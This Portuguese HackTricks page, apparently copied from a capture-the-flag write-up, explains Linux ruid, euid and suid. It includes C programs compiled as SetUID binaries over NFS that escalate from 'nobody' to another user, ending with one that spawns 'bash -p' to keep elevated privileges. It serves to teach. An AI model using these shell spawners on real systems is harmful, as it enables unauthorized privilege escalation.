9.7 KiB
euid, ruid, suid
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- Você trabalha em uma empresa de segurança cibernética? Você quer ver sua empresa anunciada no HackTricks? ou você quer ter acesso à última versão do PEASS ou baixar o HackTricks em PDF? Verifique os PLANOS DE ASSINATURA!
- Descubra A Família PEASS, nossa coleção exclusiva de NFTs
- Adquira o swag oficial do PEASS & HackTricks
- Junte-se ao 💬 grupo Discord ou ao grupo telegram ou siga-me no Twitter 🐦@carlospolopm.
- Compartilhe suas técnicas de hacking enviando PRs para o repositório hacktricks e hacktricks-cloud repo.
Este post foi copiado de https://0xdf.gitlab.io/2022/05/31/setuid-rabbithole.html#testing-on-jail
*uid
ruid
: Este é o ID de usuário real do usuário que iniciou o processo.euid
: Este é o ID de usuário efetivo, é o que o sistema olha ao decidir quais privilégios o processo deve ter. Na maioria dos casos, oeuid
será o mesmo que oruid
, mas um binário SetUID é um exemplo de um caso em que eles diferem. Quando um binário SetUID é iniciado, oeuid
é definido como o proprietário do arquivo, o que permite que esses binários funcionem.suid
: Este é o ID de usuário salvo, é usado quando um processo privilegiado (na maioria dos casos, executando como root) precisa abandonar privilégios para executar algum comportamento, mas precisa então voltar ao estado privilegiado.
{% hint style="info" %}
Se um processo não-root quiser alterar seu euid
, ele só pode definir para os valores atuais de ruid
, euid
ou suid
.
{% endhint %}
set*uid
À primeira vista, é fácil pensar que as chamadas do sistema setuid
definiriam o ruid
. Na verdade, quando para um processo privilegiado, isso acontece. Mas no caso geral, na verdade define o euid
. Da página do manual:
setuid() define o ID de usuário efetivo do processo chamador. Se o processo chamador tiver privilégios (mais precisamente: se o processo tiver a capacidade CAP_SETUID em seu namespace de usuário), o UID real e o ID de usuário salvo também são definidos.
Portanto, no caso em que você está executando setuid(0)
como root, isso define todos os IDs como root e basicamente os trava (porque suid
é 0, ele perde o conhecimento ou qualquer usuário anterior - é claro, processos root podem mudar para qualquer usuário que desejarem).
Duas chamadas de sistema menos comuns, setreuid
(re
para real e efetivo) e setresuid
(res
inclui salvo) definem os IDs específicos. Estar em um processo não privilegiado limita essas chamadas (da página do manual para setresuid
, embora a página para setreuid
tenha linguagem semelhante):
Um processo não privilegiado pode alterar seu UID real, UID efetivo e ID de usuário salvo, cada um para um dos seguintes: o UID real atual, o UID efetivo atual ou o ID de usuário salvo atual.
Um processo privilegiado (no Linux, aquele que possui a capacidade CAP_SETUID) pode definir seu UID real, UID efetivo e ID de usuário salvo para valores arbitrários.
É importante lembrar que eles não estão aqui como uma característica de segurança, mas sim refletem o fluxo de trabalho pretendido. Quando um programa deseja mudar para outro usuário, ele muda o ID de usuário efetivo para que possa agir como esse usuário.
Como atacante, é fácil adquirir o hábito ruim de apenas chamar setuid
porque o caso mais comum é ir para root, e nesse caso, setuid
é efetivamente o mesmo que setresuid
.
Execução
execve (e outros execs)
A chamada do sistema execve
executa um programa especificado no primeiro argumento. O segundo e terceiro argumentos são matrizes, os argumentos (argv
) e o ambiente (envp
). Existem várias outras chamadas do sistema que são baseadas em execve
, referidas como exec
(página do manual). Cada um deles é apenas um invólucro em cima de execve
para fornecer diferentes abreviações para chamar execve
.
Há muitos detalhes na página do manual, sobre como funciona. Em resumo, quando **execve
inicia um programa
#define _GNU_SOURCE
#include <stdlib.h>
#include <unistd.h>
int main(void) {
setuid(1000);
system("id");
return 0;
}
Este programa é compilado e definido como SetUID em Jail sobre NFS:
oxdf@hacky$ gcc a.c -o /mnt/nfsshare/a;
...[snip]...
oxdf@hacky$ chmod 4755 /mnt/nfsshare/a
Como root, eu posso ver este arquivo:
[root@localhost nfsshare]# ls -l a
-rwsr-xr-x. 1 frank frank 16736 May 30 04:58 a
Quando eu executo isso como ninguém, id
é executado como ninguém:
bash-4.2$ $ ./a
uid=99(nobody) gid=99(nobody) groups=99(nobody) context=system_u:system_r:unconfined_service_t:s0
O programa começa com um ruid
de 99 (ninguém) e um euid
de 1000 (frank). Quando chega à chamada setuid
, esses mesmos valores são definidos.
Em seguida, é chamado o system
, e eu esperaria ver um uid
de 99, mas também um euid
de 1000. Por que não há um? O problema é que sh
é um link simbólico para bash
nesta distribuição:
$ ls -l /bin/sh
lrwxrwxrwx. 1 root root 4 Jun 25 2017 /bin/sh -> bash
Então, a chamada do system
é /bin/sh sh -c id
, que é efetivamente /bin/bash bash -c id
. Quando o bash
é chamado, sem o -p
, ele vê o ruid
de 99 e o euid
de 1000, e define o euid
para 99.
setreuid / system
Para testar essa teoria, vou tentar substituir o setuid
pelo setreuid
:
#define _GNU_SOURCE
#include <stdlib.h>
#include <unistd.h>
int main(void) {
setreuid(1000, 1000);
system("id");
return 0;
}
Compilação e Permissões:
oxdf@hacky$ gcc b.c -o /mnt/nfsshare/b; chmod 4755 /mnt/nfsshare/b
Agora na prisão, agora id
retorna uid de 1000:
bash-4.2$ $ ./b
uid=1000(frank) gid=99(nobody) groups=99(nobody) context=system_u:system_r:unconfined_service_t:s0
A chamada setreuid
define tanto ruid
quanto euid
como 1000, então quando system
chamou bash
, eles coincidiram e as coisas continuaram como frank.
setuid / execve
Chamando execve
, se minha compreensão acima estiver correta, eu também não precisaria me preocupar em mexer com os uids e, em vez disso, chamar execve
, pois isso manterá os IDs existentes. Isso funcionará, mas há armadilhas. Por exemplo, o código comum pode parecer com isso:
#define _GNU_SOURCE
#include <stdlib.h>
#include <unistd.h>
int main(void) {
setuid(1000);
execve("/usr/bin/id", NULL, NULL);
return 0;
}
Sem o ambiente (estou passando NULL para simplificar), vou precisar de um caminho completo em id
. Isso funciona, retornando o que eu espero:
bash-4.2$ $ ./c
uid=99(nobody) gid=99(nobody) euid=1000(frank) groups=99(nobody) context=system_u:system_r:unconfined_service_t:s0
O [r]uid
é 99, mas o euid
é 1000.
Se eu tentar obter um shell a partir disso, tenho que ter cuidado. Por exemplo, apenas chamando bash
:
#define _GNU_SOURCE
#include <stdlib.h>
#include <unistd.h>
int main(void) {
setuid(1000);
execve("/bin/bash", NULL, NULL);
return 0;
}
Eu vou compilar isso e definir o SetUID:
oxdf@hacky$ gcc d.c -o /mnt/nfsshare/d
oxdf@hacky$ chmod 4755 /mnt/nfsshare/d
Ainda assim, isso retornará todos os nobody:
bash-4.2$ $ ./d
bash-4.2$ $ id
uid=99(nobody) gid=99(nobody) groups=99(nobody) context=system_u:system_r:unconfined_service_t:s0
Se fosse setuid(0)
, funcionaria bem (assumindo que o processo tinha permissão para isso), pois então mudaria todos os três ids para 0. Mas como um usuário não-root, isso apenas define o euid
para 1000 (que já era), e então chama sh
. Mas sh
é bash
no Jail. E quando bash
começa com ruid
de 99 e euid
de 1000, ele irá rebaixar o euid
de volta para 99.
Para corrigir isso, vou chamar bash -p
:
#define _GNU_SOURCE
#include <stdlib.h>
#include <unistd.h>
int main(void) {
char *const paramList[10] = {"/bin/bash", "-p", NULL};
setuid(1000);
execve(paramList[0], paramList, NULL);
return 0;
}
Desta vez, o euid
está presente:
bash-4.2$ $ ./e
bash-4.2$ $ id
uid=99(nobody) gid=99(nobody) euid=1000(frank) groups=99(nobody) context=system_u:system_r:unconfined_service_t:s0
Ou eu poderia chamar setreuid
ou setresuid
em vez de setuid
.